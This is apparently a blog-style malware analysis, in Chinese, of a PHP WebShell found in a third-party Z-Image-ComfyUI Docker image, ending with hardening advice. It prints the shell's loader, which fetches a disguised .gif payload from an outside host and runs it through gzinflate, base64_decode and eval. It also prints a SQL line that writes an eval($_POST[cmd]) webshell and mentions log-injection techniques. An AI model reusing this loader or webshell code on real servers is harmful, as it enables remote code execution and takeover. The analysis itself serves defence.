逆向分析一款WebShell的解密与代码还原过程
在调试一个基于 Z-Image 大模型构建的 ComfyUI 部署镜像时,我原本期待的是流畅的人像生成体验。结果刚运行完启动脚本,浏览器却跳转到了一个画风诡异的登录页——黑底白字、闪烁的彩色标题,还有那个熟悉的“欢迎使用 eanver v2.0”字样。
这不是 AI 工作流界面,这是 WebShell。
更离谱的是,这个后门居然藏在一个号称“一键部署、开箱即用”的 Z-Image-ComfyUI 镜像里。而该镜像据称是基于阿里开源的Z-Image 系列大模型(6B参数)打包而成,主打高效推理和中英双语支持,在写实类图像生成场景表现优异。
可谁也没想到,它的底层竟埋着一条完整的攻击链。
初现异常:从 Jupyter 到 WebShell 的诡异跳转
整个流程看似标准:
- 从某第三方 GitCode 镜像站下载 Docker 镜像;
- 在单卡 GPU 实例上完成部署;
- 进入 JupyterLab 执行
1键启动.sh; - 点击控制台中的“ComfyUI网页”链接。
但点击后并未进入 ComfyUI 的工作流界面,反而跳到了一个 PHP 编写的登录页面。查看源码,发现只有极简 HTML 和一段用于颜色扰动的 JavaScript:
<script> function upColor(va){ setTimeout("upColor(1)",100); var v="#"+Math.floor(Math.random()*900000).toString(); document.getElementById("id1").style.color=v; } </script>这明显不是正常服务应有的行为。进一步抓包发现,主逻辑集中在/index.php?eanver=main上。直接请求该路径,返回内容为高度混淆的 PHP 脚本:
<?php $shellname="Sievr"; $password='99999'; s:142856; define('myaddress',__FILE__); error_reporting(E_ERROR | E_PARSE); header("content-Type: text/html; charset=utf-8"); @set_time_limit(0); ob_start(); // ... 大量无意义函数定义 ...其中s:142856;显然是序列化字符串残留,说明原始数据可能经过serialize()处理后再嵌入脚本。但这还不是最危险的部分。
真正让我警觉的一行是:
$get = create_function('', 'return file_get_contents("http://i.niupic.com/images/2017/05/21/v1QR1M.gif");'); $_SESSION['PhpCode'] = $get($url);它竟然通过远程加载一个.gif文件来获取核心代码!
深度剖析:GIF 图片背后的压缩载荷
立刻执行下载:
wget http://i.niupic.com/images/2017/05/21/v1QR1M.gif -O payload.bin文件大小约 140KB,file payload.bin显示类型为 “data”,strings提取也全是乱码。但十六进制查看时,前两个字节赫然是1F 8B——gzip 的魔数标志。
这意味着:这张 GIF 很可能是伪装成图片的压缩脚本,真实内容需解压后才能显现。
尝试剥离头部并解压:
$data = file_get_contents('payload.bin'); $uncompressed = gzinflate(substr($data, 10)); // 跳过 gzip header 及 HTTP 元信息 echo $uncompressed;输出终于清晰起来:
<?php eval(base64_decode("7X1rk9u4kib2+fkr9..."));至此,完整加载链条浮出水面:
用户访问 → index.php → 下载 .gif → gzinflate 解压 → base64_decode → eval 执行典型的多层免杀结构:利用合法扩展名绕过上传检测,用压缩+编码规避静态扫描,最后通过动态执行隐藏恶意逻辑。
这种手法早已脱离早期“一句话木马”的粗糙模式,进化成了供应链级的隐蔽渗透工具。
静态还原:手动拆解每一层加密
为了彻底掌握其攻击能力,必须将动态行为静态化。
第一步:本地化远程依赖
修改$get函数,不再发起网络请求:
$get = create_function('$url', 'return file_get_contents("./payload.bin");');然后让程序正常运行一次,捕获$_SESSION['PhpCode']的实际值并保存:
file_put_contents('step1_raw.gz', $_SESSION['PhpCode']);第二步:逐级解密还原
① GZIP 层解压
$raw = file_get_contents('step1_raw.gz'); $deflated = gzinflate(substr($raw, 10)); file_put_contents('step2_deflated.bin', $deflated);② Base64 解码
$encoded = file_get_contents('step2_deflated.bin'); $decoded = base64_decode($encoded); file_put_contents('step3_decoded.php', $decoded);打开step3_decoded.php,终于看到完整的 WebShell 功能模块:
class PHPzip { /* ZIP打包类 */ } function do_passreturn() { /* 批量挂马功能 */ } function css_js() { /* JS混淆函数 */ }进一步分析,该后门具备以下高危能力:
| 功能类别 | 攻击用途 |
|---|---|
| 文件管理 | 浏览、上传、编辑任意文件 |
| 数据库操作 | 连接 MySQL、导出系统敏感信息 |
| 反弹 Shell | 使用 NC 或 Serv-U 提权 |
| 批量替换 | 网站批量挂马清马 |
| 图像隐写 | 利用 GIF 图片隐藏远控指令 |
尤其值得注意的是mysql_exec模块中的一条语句:
Str[2] = "select '<?php eval(\$_POST[cmd]);?>' into outfile '/var/www/html/bak.php';";这是典型的写一句话木马操作,一旦执行成功,攻击者即可通过 POST 请求完全控制服务器。
此外,还发现了对日志目录的探测逻辑:
if (is_writable('/app/logs') || is_writable('/output')) { // 启动日志注入模式 }结合 User-Agent 注入技巧,完全可能实现无文件落地的持久化驻留。
关联 Z-Image-ComfyUI:漏洞入口的可能性分析
虽然官方并未发布任何含 PHP 组件的版本,但我们推测问题出在以下几个环节:
1. 镜像源被污染
尽管项目官网提供纯净版镜像,但部分第三方平台发布的“优化版”、“加速版”可能存在篡改。例如某些论坛提供的“免配置高速版”就植入了此类 WebShell,打着“提升用户体验”的幌子进行传播。
2. 插件机制滥用
Z-Image-Edit 支持自定义节点扩展。若攻击者伪造一个名为Z-Image-FixNode的插件,并诱导用户导入,则可在custom_nodes/目录下释放恶意文件。若该目录又被映射到 Web 根路径或具备解析权限,极易导致 RCE。
3. 输出目录可写 + 日志注入
部分部署脚本未正确设置权限,使得/logs或/output目录对外可写。结合 Nginx/Apache 日志记录机制,攻击者可通过构造特殊请求(如带 PHP 代码的 User-Agent),再配合日志文件包含漏洞触发代码执行。
这类攻击不需要上传文件,也不依赖数据库,隐蔽性极高。
安全加固建议:守住 AI 应用的第一道防线
面对日益复杂的供应链威胁,仅靠“信任上游”已远远不够。以下是我们在实际运维中总结出的有效防护策略:
✅ 推荐做法
| 项目 | 实施建议 |
|---|---|
| 镜像来源 | 仅从官方仓库拉取,核对 SHA256 校验值 |
| 权限控制 | 容器内以非 root 用户运行,限制/output,/models,/custom_nodes为只读 |
| 访问控制 | 使用反向代理 + Basic Auth / JWT 保护 ComfyUI 与 Jupyter 接口 |
| 安全审计 | 定期扫描容器内是否存在.php,.jsp,.aspx等脚本文件 |
| 网络策略 | 禁用allow_url_fopen=On,或配置严格的allow_url_include白名单 |
❌ 明令禁止的操作
- 不要安装未知来源的 ComfyUI 插件
- 不要在公网暴露未经认证的服务端口
- 不要以 root 权限运行 AI 容器
- 不要开启 PHP 的远程文件包含功能
特别提醒:很多开发者认为“我只是跑个模型”,不会成为攻击目标。但现实是,AI 推理节点因算力资源丰富,恰恰是挖矿、DDoS 跳板的首选目标。
写在最后:AI 强大,但环境干净更重要
这次事件让我深刻意识到:即便是最先进的Z-Image-Turbo 模型(仅需 8 NFEs 即可生成高质量图像),也无法抵御人为引入的供应链攻击。
🤖AI 很强大,但前提是你的环境是干净的。
如今的 WebShell 已经不再是简单的<?php @eval($_POST['cmd']);?>,而是演变为融合图像隐写、压缩编码、动态加载、多层免杀的高级威胁载体。它们常常依附于热门开源项目,借助“便捷部署包”的名义扩散,极具迷惑性。
无论你是使用Z-Image-Base进行微调,还是用Z-Image-Edit做图像修复,请始终牢记四个原则:
- 源可信:只信官方渠道,警惕“优化版”陷阱
- 配置严:最小权限运行,关闭不必要的功能
- 权最小:非必要不开放端口,非必要不挂载可写目录
- 监控全:定期做完整性校验,部署文件变更告警
下面是本次提取出的核心 WebShell 加载流程图,可用于后续检测与防御参考:
graph LR A[index.php] --> B[remote .gif file] B --> C[gzinflate(data)] C --> D[base64_decode()] D --> E[eval(payload)] E --> F[执行任意PHP代码]整个过程层层嵌套,动静结合,充分体现了现代恶意软件对抗检测的设计思路。
注:本文所涉 WebShell 并非 Z-Image 官方组件,所有分析均基于技术研究目的,严禁用于非法渗透测试。
I’m Sievr.
Stay sharp, stay secure.